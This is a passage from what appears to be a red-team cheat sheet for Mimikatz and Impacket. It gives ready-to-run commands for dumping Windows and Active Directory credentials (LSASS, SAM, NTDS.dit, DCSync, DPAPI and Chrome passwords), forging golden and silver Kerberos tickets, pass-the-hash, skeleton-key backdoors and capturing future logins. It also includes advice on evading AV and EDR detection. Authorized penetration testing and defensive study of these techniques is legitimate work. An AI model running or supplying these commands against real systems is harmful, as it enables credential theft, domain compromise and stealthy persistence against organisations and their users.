impacket-smbclient -k -no-pass corp.local/john.doe@DC01.corp.local

Workflow: DPAPI Domain Credential Decryption

Step 1 — Extract domain backup key from DC
mimikatz # lsadump::backupkeys /export /dc:DC01.corp.local
# Saves: ntds_capi_0_<GUID>.pvk

Step 2 — Locate user masterkey (on target user's machine)
# Path: C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>

Step 3 — Decrypt masterkey using backup key (offline, no user creds needed)
mimikatz # dpapi::masterkey /in:"<path_to_GUID>" /pvk:ntds_capi_0_<GUID>.pvk

Step 4 — Decrypt DPAPI blob (browser passwords, credential files)
mimikatz # dpapi::cred /in:"C:\Users\<user>\AppData\Roaming\Microsoft\Credentials\<GUID>"

# Or Chrome passwords (pre-v80)
mimikatz # dpapi::chrome /in:"...\Login Data"

Workflow: Offline SAM + NTDS Dump

From an elevated context without running mimikatz interactively on the target:

# On target Windows — shadow copy or reg dump technique
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
reg save HKLM\SECURITY security.hive

# On attacker Kali — Impacket (no mimikatz needed)
impacket-secretsdump -sam sam.hive -system system.hive -security security.hive LOCAL

# Or via VSS shadow copy for NTDS.dit
wmic shadowcopy call create Volume='C:\'
vssadmin list shadows
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Temp\
impacket-secretsdump -ntds NTDS.dit -system system.hive LOCAL

OPSEC Notes

┌───────────────────────────────────────────────────────────────────────┐
│  Detection Surfaces                                                   │
├──────────────────────────┬────────────────────────────────────────────┤
│  Technique               │  Detection Signal                          │
├──────────────────────────┼────────────────────────────────────────────┤
│  sekurlsa::logonpasswords│  LSASS memory read (Event 10 in Sysmon)    │
│  (LSASS open handle)     │  AV/EDR: LSASS access from non-system proc │
├──────────────────────────┼────────────────────────────────────────────┤
│  lsadump::dcsync         │  Event IDs 4662, 4663 (Replication audit)  │
│                          │  SIEM: Replication from non-DC host        │
├──────────────────────────┼────────────────────────────────────────────┤
│  kerberos::golden        │  Event 4769 (TGS request with no prior     │
│                          │  4768 TGT event)                           │
│                          │  PAC anomalies (extra SIDs)                │
├──────────────────────────┼────────────────────────────────────────────┤
│  misc::skeleton          │  LSASS patching (Event 4611, Sysmon 8)     │
├──────────────────────────┼────────────────────────────────────────────┤
│  mimikatz binary on disk │  File hash / YARA signature match          │
│                          │  AV/EDR file detection                     │
├──────────────────────────┼────────────────────────────────────────────┤
│  Invoke-Mimikatz         │  AMSI (PowerShell script block logging)    │
│                          │  .NET reflection anomaly in Sysmon         │
└──────────────────────────┴────────────────────────────────────────────┘

Evasion strategies (for authorized red team use):

  • Dump LSASS with comsvcs.dll or procdump to avoid direct LSASS handle from mimikatz binary
  • Use sekurlsa::minidump on the dump file offline (never touches live LSASS from mimikatz)
  • Use lsadump::dcsync instead of touching LSASS at all when you have DA rights
  • Use AES256 keys instead of NTLM hashes in Kerberos ticket forgery
  • Use custom-compiled or obfuscated versions; avoid stock mimikatz.exe on disk
  • Prefer Impacket on Linux for most credential dump and ticket operations

Cheatsheet

Quick-reference for common red team tasks. Replace corp.local, DC_IP, SID, and hashes as appropriate.

Privilege Escalation (Always Run First)

mimikatz # privilege::debug
mimikatz # token::elevate

Dump All Credentials (Interactive)

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::sam
mimikatz # lsadump::secrets
mimikatz # lsadump::cache

One-liner equivalent:

mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets" exit > dump.txt

DCSync

# Single user
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator

# All users
mimikatz # lsadump::dcsync /all /csv

From Kali (no mimikatz binary needed):

impacket-secretsdump corp.local/Administrator:pass@DC_IP -just-dc
impacket-secretsdump corp.local/Administrator@DC_IP -hashes :NTHASH -just-dc

Kerberos Ticket Operations

# List tickets
mimikatz # kerberos::list

# Export all tickets to .kirbi
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::list /export

# Purge tickets
mimikatz # kerberos::purge

# Inject ticket
mimikatz # kerberos::ptt ticket.kirbi

# Convert .kirbi to .ccache for Impacket
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache

Golden Ticket

mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
# Note krbtgt NTLM and AES256

mimikatz # kerberos::golden /user:Administrator /domain:corp.local \
           /sid:S-1-5-21-... /aes256:<krbtgt_AES256> /ticket:golden.kirbi

mimikatz # kerberos::ptt golden.kirbi

From Kali:

impacket-ticketer -nthash <krbtgt_NTLM> -domain-sid S-1-5-21-... \
  -domain corp.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@DC01.corp.local

Silver Ticket

mimikatz # kerberos::silver /user:Administrator /domain:corp.local \
           /sid:S-1-5-21-... /service:cifs /target:SERVER.corp.local \
           /rc4:<service_NTLM> /ticket:silver.kirbi
mimikatz # kerberos::ptt silver.kirbi
dir \\SERVER.corp.local\C$

Pass-the-Hash (Overpass-the-Hash)

# Spawn process with NTLM hash, get Kerberos ticket
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local \
           /ntlm:<NTLM_HASH> /run:cmd.exe

# From Kali
impacket-psexec corp.local/Administrator@TARGET -hashes :NTHASH
impacket-wmiexec corp.local/Administrator@TARGET -hashes :NTHASH

DPAPI Chain

# Get domain backup key
mimikatz # lsadump::backupkeys /export /dc:DC01.corp.local

# Decrypt user masterkey
mimikatz # dpapi::masterkey /in:"C:\Users\user\AppData\Roaming\Microsoft\Protect\{SID}\{GUID}" /pvk:backup.pvk

# Decrypt credential blob
mimikatz # dpapi::cred /in:"C:\Users\user\AppData\Roaming\Microsoft\Credentials\{GUID}"

# Chrome passwords
mimikatz # dpapi::chrome /in:"C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data"

Offline LSASS Dump + Parse

# Dump LSASS on target (no mimikatz)
tasklist | findstr lsass
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Temp\lsass.dmp full

# Parse dump on attacker Windows
mimikatz # sekurlsa::minidump C:\Temp\lsass.dmp
mimikatz # sekurlsa::logonpasswords

# Parse dump on Kali (no mimikatz)
pypykatz lsa minidump lsass.dmp

Skeleton Key Injection

# Run as Domain Admin on DC
mimikatz # privilege::debug
mimikatz # misc::skeleton
# Now any user can authenticate with password "mimikatz" (does not persist reboots)

memssp (Capture Future Logins)

mimikatz # privilege::debug
mimikatz # misc::memssp
# Credentials captured to: C:\Windows\System32\mimilsa.log
type C:\Windows\System32\mimilsa.log

Useful Flag Reference

Flag / Argument Description
/export Writes output (tickets, certs, keys) to files in the current directory
/patch Patches LSASS in place (lsadump::lsa, lsadump::trust)
/inject Injects into LSASS process (lsadump::lsa)
/all /csv Dumps all objects in CSV format (lsadump::dcsync)
/aes256: Specifies AES-256 key instead of NTLM hash for ticket forging
/rc4: Specifies NT (RC4) hash
/run:cmd.exe Process to launch after sekurlsa::pth impersonation
/user: Target username
/domain: Target domain FQDN
/dc: Target specific DC by hostname
/sid: Domain SID (without RID)
/ticket: Output file path for forged ticket
/in: Input file path (masterkey, blob, dump, etc.)
/pvk: Domain backup key PVK file for DPAPI masterkey decryption

References

  • GitHub: https://github.com/gentilkiwi/mimikatz
  • Wiki: https://github.com/gentilkiwi/mimikatz/wiki
  • Gentilkiwi blog: https://blog.gentilkiwi.com/mimikatz
  • ADSecurity Mimikatz Guide: https://adsecurity.org/?page_id=1821
  • HarmJ0y DCSync writeup: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-opsec-oh-my/
  • DPAPI deep dive: https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/
  • Kerberos golden/silver ticket: https://adsecurity.org/?p=1515

← Tool references top ↑